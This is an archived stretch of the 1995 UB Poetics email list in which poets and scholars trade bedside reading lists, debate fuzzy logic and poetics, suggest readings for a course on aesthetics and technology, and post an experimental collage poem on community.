Mon 26 Jun 1995

Wow:

> *how, steve, the only question now is how.*

↑ Index

399. **Susan Schultz**
Re: POETICS Digest - 25 Jun 1995 to 26 Jun 1995
Tue 27 Jun 1995

I, too, really like the "bedside reading" feature of the list. Here are some that are, actually, closer to the couch:

1) VOLCANO, by Garrett Hongo, in which he recounts his search for the Big Island childhood he never had. An honest attempt, woefully written (he puts Keats and Shelley in a cuisinart and pours the remains over fields of lava).

2) THE WINGED SEED, Li-Young Lee. A memoir/prose poem about growing up in Indonesia and rural Pennsylvania, as the son of a Chinese fundamentalist Christian father. Interesting experiment, which most often works, except when he addresses his beloved.

3) TURNING JAPANESE, David Mura. Yes, there's a theme here. Memoir of an Asian-American poet from Minnesota who lived for a year in Japan; interesting "identity" study. I like his prose better than his poetry, which sounds more like, well, prose.

4) DICTEE, Theresa Hak Kyung Cha. Memoir in experimental pieces, which I haven't yet finished. But there's a strong article on her by Shelley Wong in _Feminist Measures_, edited by Lynn Keller and Cristane Miller (Michigan)--good on the "problem" with Asian-American experimental writing and identity politics.

5) Lots and lots of Gertrude Stein.

6) XENIA, by Arkadii Dragomoschenko. Wonderful meditative passages.

7) CANNIBAL, by Terese Svoboda. OK, so she's a friend of mine. I heard her read sections of this book about her travels in the Sudan at our new Barnes and Noble; they put her in the cookbook section.

8) Poems by Sudesh Mishra, a poet from Fiji who lives in Australia. Rather Walcottesque in its metaphorical density; his claim is, however, that this work IS experimental in his context.

I also confess to an over-fondness toward Nirvana's Unplugged cd, though I'm perhaps too late for the rock lyric discussion of a while back. Great rendering of a Leadbelly song.

Enough for now; keep the lists coming!

Susan Schultz

↑ Index

400. Kevin Killian
Re: Doom Patrols (Reading list)
Tue 27 Jun 1995

Herb,

Steve Shaviro is a friend of mine--he's the person who told me to get on the net--late one night in a bar in Seattle. The rest is history. But, beyond *Doom

Patrols,* which is great, I think Steve has the best home page I've ever seen. I could spend hours there. Did you check out the stuff for his Electronic Culture class? Steve is amazing--you should also check out his book *The Cinematic Body.* I pastiched part of it in my final letter from Mina Harker.

Dodie Bellamy

↑ Index

401. **Rachel Loden**
breath rules
Tue 27 Jun 1995

Only saw Olson read once, at Berkeley Poetry Conference July 12-23, 1965 (or so it says here on my "admission card," which I've somehow managed to schlep through the decades). No memory of him pausing after lines, although that wasn't a very representative reading--was it? I was too young (17) to really read all the social subtexts going on, just knew that the Don Allen anthology was coming fabulously alive around me. I do seem to recall an indignant Duncan storming out...

Also: happy Frank O'Hara's birthday (June 27)--he would have been 69 today.

--Rachel Loden

↑ Index

402. **maria damon**
Re: POETICS Digest - 25 Jun 1995 to 26 Jun 1995
Tue 27 Jun 1995

In message <[redacted]>
UB Poetics discussion group writes:
>
>
> 4) DICTEE, Theresa Hak Kyung Cha. Memoir in experimental pieces,
> which I haven't yet finished. But there's a strong article on her by
> Shelley Wong in _Feminist Measures_, edited by Lynn Keller and Cristane
> Miller (Michigan)--good on the "problem" with Asian-American experimental
> writing and identity politics.
>
>
the most beautiful piece of "criticism" or commentary on this work is _Excerpts from Dikte for Dict e_ by Walter K. Lew, available from SPD I think. it's a "critical collage," with intertexts, photos, movie stills, just gorgeous.
there's also a book called something like "writing nation, writing self," or

some such, put out as a companion volume to dictee by the third woman press, edited by elaine kim and someone else. it's a volume of critical essays on dictee. but walter's book is breathtakingly beautiful, not a standard work of "criticism" at all.
md

↑ Index

403. Jorge Guitart
bedside reading
Tue 27 Jun 1995

---

recommended for bedside reading and also for when you are considerably more alert:

"The Great Limbaugh Con and Other Right-Wing Assaults on Common Sense"
by Charles M. Kelly
Santa Barbara: Fithian Press, 1994
(14.95 at Barnes & Noble)

↑ Index

404. Hank Lazer
Re: Reading lists
Tue 27 Jun 1995

Bedside, officeside, studyside readings:

1. Nathaniel Mackey - _Discrepant Engagement_ and _School of Udhra_
2. Golf Digest
3. Video: John Coltrane: The Coltrane Legacy (includes cuts with Eric Dolphy)
4. bpNichol - The Martyrology - long-term reading, have made my way through books 7&8 and am dipping into the 9th & last
5. Zukofsky _A_ - another long-term reading; oddly enough found the first 100 or so pages not so hot (as in what's the big deal here?) though now into A-12 ok I see the big deal....
6. Creeley - _Windows_
7. _Larry Rivers_ - big retrospective book of paintings
8. Barbara Guest _Selected Poems_
9. Emily Dickinson
10. Gil Ott - _Wheel_ - a beautiful Chax Press book (beautiful work both by Gil & by Charles Alexander!)
11. Northwestern University Press's _Stein Reader_

Hank Lazer

↑ Index

405. Edward Foster
Re: Bedside Reading
Tue 27 Jun 1995

bedside reading this week includes autobiography of annie besant, james wilhelm's new anthology of gay poetry from antiquity, various motorcycle mags, alice notley's new book, travel guide to italy (for dreams), book on egyptian art, huysman. -ed

↑ Index

406. Herb Levy
Re: Bucky Fuller
Tue 27 Jun 1995

For those who are interested in R Buckminster Fuller, I've run across references to an e-mail mailing list, geodesic-list, that focuses on his work. I haven't subscribed so I don't know how active it is, but the FAQ, drawn mostly from postings to geodesic-list, was interesting enough.

<[redacted]>. Yes, oddly enough, geodesic-list also comes out of SUNY-Buffalo.

The address for the Bucky FAQ is <http://switchboard.ftp.com/0/BF/fuller-faq.html>. I can't tell the difference in this font, so perhaps I should note that the second unit of this URL is a zero, not the letter <O>.

Herb Levy
[redacted]

↑ Index

407. Herb Levy
Doom Patrols (Reading list)
Tue 27 Jun 1995

As long as I'm giving out URLs, one of my summer reading books is not yet in print and only available on-line, Steve Shaviro's "Doom Patrols." It can be found at <http://dhalgren.english.washington.edu/~steve/doom.html>.

Based on the chapters I've read so far, I highly recommend it to anyone on poetics list.

It's not, and not about, poetry, but it's the first prose book I've read in a while that's given me the same buzz as the all-over, personal inner-mind sprawl of many recent longpoems.

"Doom Patrols" is an autobiographical work of literary theory; a rich blend of gender theory, electronic culture, comic books & films, true confessions, (very) revisionist post-structuralist thought, rock & roll, self-exposition, new (&old) abjectionists) and more. Chapter titles include: David Cronenberg, Kathy Acker, Dean Martin, Daniel Paul Schreber, Walt Disney, Cindy Sherman, et al.

Chris Stroffolino and others who were discussing criticism about pop music forms a while back, might find Shaviro's chapter Bilinda Butcher, about the band My Bloody Valentine, to be of interest.

I don't just read one thing at a time, but this post is already too long, so I'll save the rest of my summer reading list for another time.

Bests,

Herb Levy
[redacted]

↑ Index

408. Mark Scroggins
Re: bedside reading
Tue 27 Jun 1995

I'm a sucker for bedside reading lists (and desert island lists, and really all sorts of lists).

Leon Howard's biography of Herman Melville; way out of date, but beautifully printed.

Richard Ellmann's Joyce biography.

Erwin Panofsky's Studies in Iconology.

Christopher Hill's Milton and the English Revolution.

Louis Untermeyer's unintentionally hilarious anthology of Robert Frost poems.

Gil Sorrentino's Aberation of Starlight.

Hugh Kenner's The Counterfeiters (again).

Various offprints from various friends and acquaintances.

The latest Talisman, and (of course) Ed Foster's book of poems.

Mark Scroggins

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409. Burt Kimmelman
Re: bedside reading
Tue 27 Jun 1995

I'm in the middle of revising a book length manuscript on medieval lit. so i won't include the "stuffy" reading surrounding my bed. but other things include:

Richard A. Lanham, THE ELECTRONIC WORD: DEMOCRACY, TECHNOLOGY AND THE ARTS

The latest New York Review of Books (article by Kempton on THE SECRET WORLD OF AMERICAN COMMUNISM; and I hope to get to Menand's review of Gass's THE TUNNEL)

The latest issue of Nutrition Action Newsletter (great summer fruit soup recipes)

Rochelle Owens, RUBBED STONES

I'm afraid that's it.

- Burt Kimmelman

↑ Index

410. David Kellogg
The imaginative procedures of cosmologists
Tue 27 Jun 1995

On Mon, 26 Jun 1995, Burt Kimmelman <[redacted]> wrote:

> *Re.: your "that's one reason there's art": do you mean that the imaginative procedures of, say, cosmologists are different from those of poets?*

Considering this proposition, I surfed over to the NASA web page and came up with the following:

> THE IMAGINATIVE PROCEDURES OF COSMOLOGISTS
>
> higher level conclusions surfaced
>
> NASA is defining and executing
> a new way of doing business
> not some vision on the distant horizon
> farming-out is a reality
>
> management/transition plan
>
> "farming-out process" critical
> management across the entire life cycle
> (through development operations utilization)

total erosion of the NASA skill base
to assure quality products

-- Complexity of the automation implementation and the stability of the process to be automated must be weighed against the return on the investment

there is a requirement for human/decision intervention
the process is unstable

the way-of-doing business
make certain skill levels obsolete
long-time "accepted decompositions"

delivery of an unusable system (costly ops)

Cow's [sic] can cause.

(word salad from the second NASA workshop on mission operations, "Hunting Sacred Cows").

Obviously, cosmologists and poets have similar imaginations ;-). Seriously, though, the question of "reasons for art," like most talk about the aesthetic or other justifications/sacralizations for poetry, makes my eyes glaze over.

Cheers,
David
~~~
~~~

crisis in contemporary life and poetics (at least
for me).

Report on Community

for Robin Blaser, J.L. Nancy, and the poetic communities of Vancouver and Minneapolis.

"not community to which at stake the fact of people

1.

technopolitical
And what retreats from tends to reveal
And not to argue to sameness in the itself is anonymity
this conception of the "common
another subject would sublate me
for any ability on its part as appearing
this specifically designates community:
they are shared, their singular beings
as singularity, paper, to distribute
share as a essential formulation
of the question
as something which is "unworked"
between it and itself." (27) authoritites:
made up divisions beyond avoid despair
it would not be the very historical moment
women, be work, or dominion"
not incompatible with be left
without being able to
the existence be
This is undoubtedly not the together
fulfilled infinite identity of community
is be able, at the end of this
A Tentative be:
"Can the law of being without another
because it resists and becauses it makes
because finitude is communitarian
and because it cannot be whose belonging been
in no way as appears, it presents itself between
the much more piercing and dispersed
beyond social enough for social praxis?

2.

The first part the sociopolitical, a claim and a substantiality
productive. simple happiness as comes
and not the "exteriority of a product"
against which I pose more simply and
even more accused of nihilism
of a willful and real reinscription of alone;
in relation to which, and as such, is its impossibility.
All of which feeding into historical
although I dont want to down-play would
(and be irresponsible) Being in common
means to bemoan the "loss of community,"
a tendency (if not directly)work of being-together
failure of one may give (x).
definitions of terminology
or philosophical subsumption, a mutuality
confronts lovers with a study by Blanchot
married to Eurydice a "part" imperative
the wake of society. a continuous presence
in the work, such as communication
to apprehension and perception
"that the 'old' abolishes limit
and suppositionless and ideas about
whenevers of that construction:
what it does about community.

3.

The community itself arises
like a sub-stance
to be in Cartesian touch
is receptive to what is at causes.
Thus, according to this view,
celebrated we belong, the naming center
"gravest and question whether
the center of this question,
then, is the logic of this
the Inoperative
"individual common--which is that lack of exposed,
in communication, eroded the possibility of
between gods, the cosmos, animals,
beings to one another ... (38)
Since one cannot escape this logic
living absconditus--to be measured

named in abstraction
we are most obviously
What is at Stake

4.

Communication with the my death
is my communication.
individual freedoms operating as communication.
It is itself as communion--but joy--even in its turn
is a Communism, as Sartre said,
"the communitarian minimum in the social akin
disappears, giving way to communitarian." (26-27)
community can occur from without for contagion
revealed constantly turning limit
I community But community
not sublate the finitude it exposes
by submitting its peoples formulation
community itself absorbed into a common example
and other oppressed communities be formulated
all which would community
is the natural necessity
the community exists partly in the "in-common,"
community of those who dangerously--and in community
finitude itself opens, shares the confines."
community does not consist
in the community of two
is not the identity of the general
In community, extremity of sharing
that finitude provides work of community
This outside it and from without
simple association
the motto of the Republic
They are poised at the love
peoples who in their imaginations may comprise
this formulation we "wasting away" compearance
exposed or what "impersonality of the conceived
of oneself (i.e. as belonging to a concept
a fundmental that the individual
(perhaps traditional political consequences
requires the 'members' have consideration.
My construction of existences consists of its sharing
because this when constantly nothing is constitute

by what "we call constituted through knowledge
constituted not only a fair mentioned
constitution consists of or what it
constrasts, as a limit
does not proceed from construction
resorts to the nature of the word construction
of love in/upon the contemporary thought

5.

death the work is interior to the discussion of death
we are serviced by this question of "alone"
death of the individual, no longer having, in any death
by community (and therefore the death)
neither death nor because it would place
deconstructive position of violence--a mystical definition
freedom of adequate discussion of what constitutes
the totality of the Being always presents itself
at a hearing and before the always presents itself
being-in-common and as an earlier question)
that segmentation is always an edge
of violence which analysis sets
Toward dislocations, disruptions,
something, which myself,
distinct from society
(a sameness, as distribution
"destructive" of political division
doubt more determining a political
and social drawn to a complex of questions
drowning in the instant of intimacy.
We know that the community construction
of essence empires--perhaps just as unrelated a people
from a formless ground
only essences of such a community exists
(such ethical construction,
anything can be ethical
is destroyed and
not as even in its isolation or
at the limit, forget questions
about the formation of form
in any empirical or ideal place
loses the forms trying to write it out.
This violence founds community.

Contrary to a framework writing
the hypostasis retains little to surmount
unraveling that occurs

6.

Love does not complete is not helplesslessness
we expect addressing this question:
"what is here is the "retreat" of historical analysis
the singular being (27) history the community
finitude itself must hope to find
(in tentative formuation)
splintering ideological correlatives of the ceaseless upheavals
ideologies of there is no individual).
It exposes community as immanent
no communis con deus barbarism
the death of each one deconstructive
is always expressed as meaning in having died
simply surrounds it
escapes the logic of the political and
this type of general, any discussion of its glory
would need to be able to say
finitude would be difficult
to the dispersed liberal
would merely be a mechanics of force
should be and speech
can unravel society
edge itself substance
could ever be taken hold of
the fear that The kiss, in spite of everything, is not speech
it shared the veiled resistance to a closed system
somthing which is not work, but moment of love revealed
physical to the validity or invalidity of finitude
of loving immanence and rhetoric of community
shares a distracted commitment not of whisphers
On the contrary, love, provided it is not itself
what would be completely what one would hope
no part moves democracy
to resolve the conflict particular communities themselves identify
the attempts to recusitate new pertinent political theoreticians
preceding philosophical language anterior to any philosophy
calls this is truly ironic
that we own philosophy's reductive totalizations

and their exigency politics: 'left' means, at the very least,
the positing of Community isn't some position that I hold
this is why it is haunted by principally of the sharing, diffusion,
individuation detaches closed produced
a community made of retreats
in the face of Rousseau:
ruins of a community.

7.

singularity the regulation 'of'--the genitive
of singularity of their love of community.
But as singularity that
is then here both empty sharing
is explicit, society as syntax, perhaps we can discover
technopolitical dominion
and thereby the only terms the individual has
The face of the very mean an essence of the confines of singularity
in the contemporary ("post-industrial") world
the work of sharing of finitude, or more exactly,
unwitting collusion within being-the-one-with-the-other
to which we are exposed
being-with (with-being)
and the expression/exposure
of the beings
and as such it is itself a finite
of the communal for most of us
but the the discussion of community
or "what the terms of the discussion
discourse on community
begins for them to foreclose
they the bonds of social interaction open
subsumed within what is beyond
such wasting each other gives rise
appears or compears (com-parait)
The societal formulations from a desire for what she calls
radical the remaining possibilities
or community within (opposed to a society, etc.).
What does it within the finite limits of our own
"singular" without getting into vulgarizations
that may the word 'in' expose to the substance
but rather word important among these senses
the work now forms the possibility of ever arriving

work of place of something for which we have work
(it can be neither subject nor object) work.
But in fact it is the work
the working community
would mistakenly name

↑ Index

412. **Alan Sondheim**
Re: bedside reading
Tue 27 Jun 1995

I'm on the road (talking in LA) so my reading's what I have here: Heiner Muller, Material (just got it in German to correlated with the English texts of his I've read - his writing continues to amaze), the three new translations of Michel Serres' work (which has always affected my own), the new James Ellroy, Kroker's Spasm, and Inside the Information Super- highway, one of my course books, by Nicholas Baran, simple, up-to-date, thorough..

Alan looking forward to the new Annette Messager show and catalog at LACMA -

↑ Index

413. **Jim Pangborn**
Re: Fuzzy Logic Poetics
Tue 27 Jun 1995

Ira-- Responding to Burt's clear-eyed questions about logic, I thought I saw a chance to do my favorite net-thing, which is tie, weave, or otherwise braid various conversational threads together. In this case I did it clumsily indeed, if I came off as saying "Look, here's something ignorant Ira missed." What I'd rather hoped to say was something more like "Look, here's a way in which Fuller's observation, recently, perceptively noticed by Sorry-I-forget -whom (i.e. you), reinforces a poetically useful sense of what logic, smooth or fuzzy, is and ain't." At the same time, I thought (reflexively?) that what Fuller says in that passage--about "common sense" putting very frequent pitfalls in everyone's path, no exception for me nor thee--bears a lot of repeating, but not because I suppose it to be big news to you, informed and accomplished as you are. More like ballplayers keeping up the chatter on the baseball diamond, constantly reminding one another of what they already know. "Play's to third." "He's a whiffer." It helps, no?

--Jim

Ira wrote:
>
>As the one who put out the remark about Bucky's use of up, down, in, out,
>and, indeed, shake it all about, I just wanted to say: thanks for the
>lovely quotation, illuminating what i was referring to; and sorry if
>I presented an ignorant write-up of Bucky, because what you posted was
>what I thought I'd said,
>
>Thanks,
>
>Ira

↑ Index

414. Shaunanne Tangney
Re: bedside reading--and reverse thinking
Tue 27 Jun 1995

--sorry to worry this like a puppy w/ an old shoe, but-- as I take my PhD comps in August, my bedside reading is a little. . . um--perverse?!--right now--and today as I was reading Derrida I found this: "One goes from blindness to the supplement. . . . Blindness to the supplement is the law. ANd especially blindness to its concept. Moreover, in order to see its meaning, it is not enough to locate its functioning. The supplement has no sense and is given to no intuition. We do not therefore make it emerge out of its strange penumbra. We speak its reserve."

So--writing is always already thinking in reverse? Supplement (words) have no meaning in and of themselves, only when we re-apply presence/self to them do they/can they mean--but they are at first our escape from presence/self--? hmmm. . . I knid of like this--writing is always already thinking in reverse. . .

back to the books!
ShaunAnne

↑ Index

415. Carl Lynden Peters
Re: Reading lists
Tue 27 Jun 1995

---

inspired by all that's out there, here's my list fr the month:

the presocratics, by philip wheelwright. a general text chosen fr its contextualizing approach. interested in pursuing pythagoreanism and cont. art. might have some value

on christian doctrine, st. augustine

-revelations of divine love_, julian of norwich

-the temple-, george herbert: interesting -- i found a copy of _the temple_ in the UBC bkstore a few days before the blaser conference. colin browne presented a paper on herbert there which was incredible! timing is everything

everything and anything by bpNichol. re reading bk 1 for the 3rd or 4th time. the first few pages always astound me! everything he does in the other bks is set down there: "premonition of a future time or line we will be writing" ... "a future music moves now to be written" ...

the surrealist parade, by wayne andrews (i'm certain he's the author: just picked it up at a used bkstore. it looks like it's written part documentary/part journal, which is why i bought it. it also contains some hugo ball quotes which i've never come across previously

↑ Index

416. **Jim Pangborn**
Re: Fuzzy Logic Poetics
Tue 27 Jun 1995

Burt K. writes:
>
>Jim,
>
>Is your explanation about why science needs the fuzzy logic tool and art
>doesn't in line with Carnap?
>

Not sure I could sort out a pedigree for this notion. I get my sense of what logic is first from reading Quine (who often takes issue with Carnap), then from Peirce and Dewey. Taken as a whole, it's a discipline relating more directly to statements than to states of affairs. Sorry, whosever eyes glaze on this stuff . . . Logic is one of the ways people deal with questions in the spirit of "If it's safe to say P, then what else is safe to say?" Logic goes at this by way of analyzing grammatical transformations. As to what is safe to say in the first place, we look elsewhere than to logic for that (with an important exception: logic looks for instances where P is safe to say merely because all sentences with the same grammatical form P are safe to say, like "I only drink when I'm alone or else with somebody," which must be true, or safe to say, but only trivially). In this sense, logic is a game (or maybe a playing field) where one of the ground rules is "say one thing at a time." This ties it in with what I've called science, a method applying logical procedures to investigate nature. It usually goes

unstated, but science is largely built upon this one-thing-at-a -time rule. No rules = sorry, game called on account of obscurity. Science wants one statement, one related set of variables, one question at a time. Too many uncertainties in play = unsafe playing conditions, confusion, nonscience.
But as we know, the world doesn't have to play by these rules. Often people come upon knots, clouds of multiple, indivisible considerations. There are more things, etc., Horatio. People will not limit their wondering to well-formed, stand-alone, single-vision questions. To think knotty, cloudy considerations through, we resort to art. (This is not a commutative proposition, tho: I do not say "the thinking-through of gnarly questions = a good-enough definition of art." Art is a means well suited to this need, is all.) Fuzzy logic, and fuzzy set-theory from which it derives, announces itself as a rapprochement between science and the way most people actually think. It arises from the attempt to get computers to behave intelligently--a goal that has not, say the least, been met. I don't believe it is the best way to effect that rapprochement. For one, they haven't come up with an agreeable axiom for fuzzy implication. More importantly, it works by instantiating dummy values in place of uncertainties. I see now that I really agree withLoss Glazier on this: fuzzy logic, if not logic at large, is in a strong sense antithetical to poetics, which works *with* uncertainties. Our Unclear Heritage, so to speak.

Do physicists have a different imagination from poets? In this view, not at all; but they do adhere to very different procedures, develop different reflexes, get stuck in different ruts, harbor different expectations, etc., etc. Do footballers have a different imagination from chessplayers? Who would know? Maybe, but . . .

--Jim

↑ Index

417. **Pierre Joris**
Re: bedside reading
Tue 27 Jun 1995

Re:
>
> Alan looking forward to the new Annette Messager show and catalog at
> LACMA -
>
Oh do -- it is great, we saw it in Paris in May, & the catalogue is
worth getting, absolutely splendid. -- & anybody on the list who may
not know Messager's work -- if you can get to LACMA do so!

========== Pierre Joris | He who wants to escape the world, translates it. Dept. of English | --Henri Michaux SUNY Albany | Albany NY 12222 | "Herman has taken to writing poetry. You tel&fax:[redacted] | need not tell anyone, for you know how email: | such things get around." [redacted]| --Mrs. Melville in a letter to her mother. ==========

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418. **Tony Green**

Re: Fuzzy Logic Poetics

Tue 27 Jun 1995

Dear Jim, interesting commentary on Logic. Turning to poems, paintings etc etc, THE ARTS, one finds enigma, paradox, ciphers that remain always resistant to final decipherment, although logic be applied to answering the questions they ask. I don't think of arts as illogical, or subject to vagueness, so much as inviting speculations and dreams with almost no limitation.

I note that in this view, artworks are not consumable, because they are inexhaustible. It is not the case, we know, that a painting once seen by one person disappears from sight for evermore. We all know, too, that the answers proposed by one person to the questions it asks does not exhaust its possibilities. Artworks appear to lure one into understanding them, which can be a long and arduous process of discoveries about, for instance, society, self and about the mysterious workings of media. Recuperation and cooptation and consumerisation cannot entirely submerge these possibilities, even thouh they may reduce the social impact of radical novelty.

↑ Index

419. **Ryan Knighton**

Re: Fuzzy Logic Poetics

Tue 27 Jun 1995

---

what's the relationship btwn rhyme and reason? Serendipity and causality?

↑ Index

420. **Steve Carll**

Re: Fuzzy Logic Poetics

Wed 28 Jun 1995

Jim Pangborn points out:

> Fuzzy logic.... More importantly...works by
>instantiating dummy values in place of uncertainties. I see now that I really
>agree with Loss Glazier on this: fuzzy logic, if not logic at large, is in a
>strong sense antithetical to poetics, which works *with* uncertainties. Our
>Unclear Heritage, so to speak.
[sorry about the dreadful editing]

This is an excellent point that's escaped me until now. It's almost a reaction to Heisenberg's uncertainty principle, giving the barest nod to all that escapes reduction to logical principles and then proceding to reduce them anyway, the admission that this reduction is only provisional lost under the extension of logic's dominion.

This sounds like an anti-logic, anti-science post, but it's not.

Steve

↑ Index

421. Reginald Johanson
bedside reading
Wed 28 Jun 1995

Next to my bed-cum-magic carpet are nothing but travel books--the
good stuff, mind you:
Bruce Chatwin, "The Songlines", "What Am I Doing Here"
Paul Theroux, "Paddling the Pacific"
Paul William Roberts, "A River in the Desert", "Empire of the Soul".

Fact is I wish I was them. And if not them then to be at least as good a liar.

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422. Alan Sondheim
Re: bedside reading
Wed 28 Jun 1995

Messager's show at Josh Baer a year ago in NY was the bests show of the season I think along with Holzer's Lustmord. I met her (AM) in Paris years before, she was with Christian Boltanski - she should have been known here all along -

Alan

↑ Index

423. beard
Re: bedside reading
Wed 28 Jun 1995

My bedside/coffeetable/briefcase reading lists:

Bedside: _Selected Poems 1950-65_ Robert Creeley
Lacan by Malcom Bowie (a good cure for insomnia)
Back in the USA by Wystan Curnow

Coffeetable: _Holding Company_ by David Howard
1995 Film Festival Programme
1995 Spring/Summer catalogue, V2 by Versace
Latest issues of _Sport_ and _Landfall_

Briefcase: _DIA_ by Michele Leggott
Latest issue of _Printout_
Laura's Poems by Laura Ranger (material for found poetry)
Smells like Avant-Pop by Mark Amerika and Lance Olson
(downloaded from Alternative-X)
Mid-latitude Cyclone Models (work, not play)

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

424. Michael Boughn
Re: bedside reading
Wed 28 Jun 1995

> *I'm on the road (talking in LA) so my reading's what I have here: Heiner Muller, Material (just got it in German to correlated with the English texts of his I've read - his writing continues to amaze), the three new translations of Michel Serres' work (which has always affected my own), the new James Ellroy, Kroker's Spasm, and Inside the Information Super-highway, one of my course books, by Nicholas Baran, simple, up-to-date, thorough..*

Alan:

Would you pass on the titles of the Serres books? It would be much appreciated. Thanks.

Best,
Mike
[redacted]

↑ Index

425. **Burt Kimmelman**
Re: The imaginative procedures of cosmologists
Wed 28 Jun 1995

David Kellogg:

Is risk assessment a kind of fuzzy logical thinking? (Just kidding.)

Burt Kimmelman

↑ Index

426. **Burt Kimmelman**
Re: Fuzzy Logic Poetics
Wed 28 Jun 1995

Jim,

Poetry's first functions were to remember things and to explain things (or is the latter mythology cum science?). So today since mallarme, perhaps, poetry is language per se (is this a writing supplement Shaunanne?). And today cosmologists explain in languages that appeal to us (we can't go for the old personification game any longer). As for history, I think of Carnap again and what I take to be his eloquent and ultimately futile insistence on quantification of phenomena (pace, Husserl et al.). But what IS history writing (a supplement).

If I'm not making sense then forgive me my confused and I guess confusing ramblings.

Burt

↑ Index

427. **Burt Kimmelman**
tech and aesthetics / how to teach?
Wed 28 Jun 1995

I will be teaching a course in spring 96 called twentieth century aesthetics and technology.

any suggestions?

Burt Kimmelman
[redacted]

or write via snail:

dept of humanities
new jersey institute of technology
newark, nj 07040
USA

↑ Index

428. Alan Sondheim
Re: bedside reading
Wed 28 Jun 1995

The Natural Contract, Genesis, and Between Science and History w/Bruno Latour - there are also the older volumes, Detachment, Hermes, and The Parasite.

Alan

On Wed, 28 Jun 1995, Michael Boughn wrote:

> *I'm on the road (talking in LA) so my reading's what I have here: Heiner Muller, Material (just got it in German to correlated with the English texts of his I've read - his writing continues to amaze), the three new translations of Michel Serres' work (which has always affected my own), the new James Ellroy, Kroker's Spasm, and Inside the Information Super-highway, one of my course books, by Nicholas Baran, simple, up-to-date, thorough..*
>
> *Alan:*
>
> *Would you pass on the titles of the Serres books? It would be much appreciated. Thanks.*
>
> *Best,*
> *Mike*
> [redacted]

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429. Lee Chapman
Bedside reading
Wed 28 Jun 1995

The latest pile of not-read-yets (purchased at my local Waldenbooks couple of weeks ago) includes:
DISTANT RELATIONS (Carlos Fuentes)
THE ALIENIST (Caleb Carr)

ASPHODEL (H.D.)
TRINITY FIELDS (Bradford Morrow)
THE PUSHCART PRIZE '94/'95 (I actually ordered this; glad to see a story from Lucia Berlin's Black Sparrow book, SO LONG, in there; more people should know
her work.)
CHAIN/2 (Juliana Spahr was nice enough to send a copy; haven't had time to read much yet, but was entirely knocked out by Janet Zweig's HER RECURSIVE APOLOGY, an exercise in extremist excellence.)
The list of have-reads includes:
ALL ACTS ARE SIMPLY ACTS by Ed Foster (Lovely, thanks, Ed. By the way, is the
new TALISMAN out? Any chance I could get a copy??)
THE GEOGRAPHICS by Albert Mobilio
STROMATA by David Miller
BERLIN DIPTYCHON, poems by John Yau, photographs by Bill Barrette
I'm in the middle of Bradford Morrow's THE ALMANAC BRANCH (whew! weird! just
my style!).
Like another on this list (I'm afraid I've forgotten who), I recently
received a 1990 novel by one Jim Reagan (Castle King-Four) with that same cryptic note; mine reads: ....this is a peace offering made to you in the memory of (not knowing who the mentioned people are, I'll leave that out)... Never heard of any of them before either. You have to admit, though, he got our attention!

For some reason, I find it very interesting to see what different people are reading. Hope this list continues. With love from a newcomer,

Lee Chapman (FIRST INTENSITY)

↑ Index

430. **maria damon**
Re: tech and aesthetics / how to teach?
Wed 28 Jun 1995

In message <[redacted]> UB Poetics discussion group
writes:
> I will be teaching a course in spring 96 called twentieth century aesthetics
> and technology.
>
> any suggestions?

you've probably already got this one, but heidegger's the question of technology. and benjamin's the work of art in the age of mechanical reproduction.--what's on yr syallabus so far?--md
>
>
> Burt Kimmelman
> [redacted]
>
> or write via snail:
>
> dept of humanities
> new jersey institute of technology
> newark, nj 07040
> USA

↑ Index

431. **Edward Foster**
Re: Fuzzy Logic Poetics
Wed 28 Jun 1995

---

re: rhyme/reason, despite ways they're argued apart, reason's rhyme of a productive but attenuated sort, yes? reason tries to be the perfect rhyme, or near it; ever-so-little left over from the equation. reason's for the precious, those w/out energy

↑ Index

432. **Edward Foster**
Re: Fuzzy Logic Poetics
Wed 28 Jun 1995

---

reason/rhyme: reason's, i think, like a night with your friend when you did everything right but never wrinkled the sheets.

↑ Index

433. **Edward Foster**
Re: tech and aesthetics / how to teach?
Wed 28 Jun 1995

---

burt: "twentieth-century aesthetics and technology"? first off, my sympathies, but as you must do it, try kenner, also all that baloney about typewriters and the modern poem. scratch technology deeply and you're in the 18th cent.; all reactionaries.

↑ Index

434. Carl Lynden Peters
Re: Fuzzy Logic Poetics
Wed 28 Jun 1995

> *Jim Pangborn points out:*
>
> *Fuzzy logic.... More importantly...works by instantiating dummy values in place of uncertainties. I see now that I really agree with Loss Glazier on this: fuzzy logic, if not logic at large, is in a strong sense antithetical to poetics, which works *with* uncertainties. Our Unclear Heritage, so to speak.*
> *[sorry about the dreadful editing]*
>
> *This is an excellent point that's escaped me until now. It's almost a reaction to Heisenberg's uncertainty principle, giving the barest nod to all that escapes reduction to logical principles and then proceding to reduce them anyway, the admission that this reduction is only provisional lost under the extension of logic's dominion.*
>
> *This sounds like an anti-logic, anti-science post, but it's not.*
>
> *Steve*

--ana-logic?

c

↑ Index

435. Lisa Samuels
Re: tech and aesthetics / how to teach?
Wed 28 Jun 1995

and ref. Mark Seltzer's book =Bodies and Machines=, if you haven't already.

lisa samuels

According to Burt Kimmelman [redacted]:
>
> I will be teaching a course in spring 96 called twentieth century aesthetics
> and technology.
>
> any suggestions?
>
>

> Burt Kimmelman
> [redacted]
>
> or write via snail:
>
> dept of humanities
> new jersey institute of technology
> newark, nj 07040
> USA
>

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436. **Lindz Williamson**
Re: bedside reading
Wed 28 Jun 1995

NExt to my lumpy futon is

Mikhial Bulgakov's The White Guard
Daphne MArletts's Ghost Works
Hyemeyohsts Storm's Lightningbolt

Good Stuff, eh. -Lindz

↑ Index

437. **Rae Armantrout**
Re: Bedside reading
Wed 28 Jun 1995

My list isn't as long as some, but...

Alan Golding's FROM OUTLAW TO CLASSIC

Agamben's STANZAS

Messerli's GERTRUDE STEIN AWARDS FOR INNOVATIVE POETRY

Hardy's A PAIR OF BLUE EYES

I don't have the books right here so apologies if I got any titles wrong.

Rae Armantrout

↑ Index

438. **Jake Berry**
Re: Reading lists
Wed 28 Jun 1995

Reading several at once as usual. And other things.
1. French Poetry 1820-1950
2. Hank Lazer - THREE OF TEN
3. Selected Poems of Stephan Mallarme
4. Complete Poems of Hart Crane
5. Fellini's 8 1/2
6. The Ellington Suites (CD)
7. Tao Magic (Calligraphy and Talismans)

That and more.
Jake Berry

↑ Index

439. **Ryan Knighton**
Re: Bedside reading
Wed 28 Jun 1995

New list (I love this list idea)

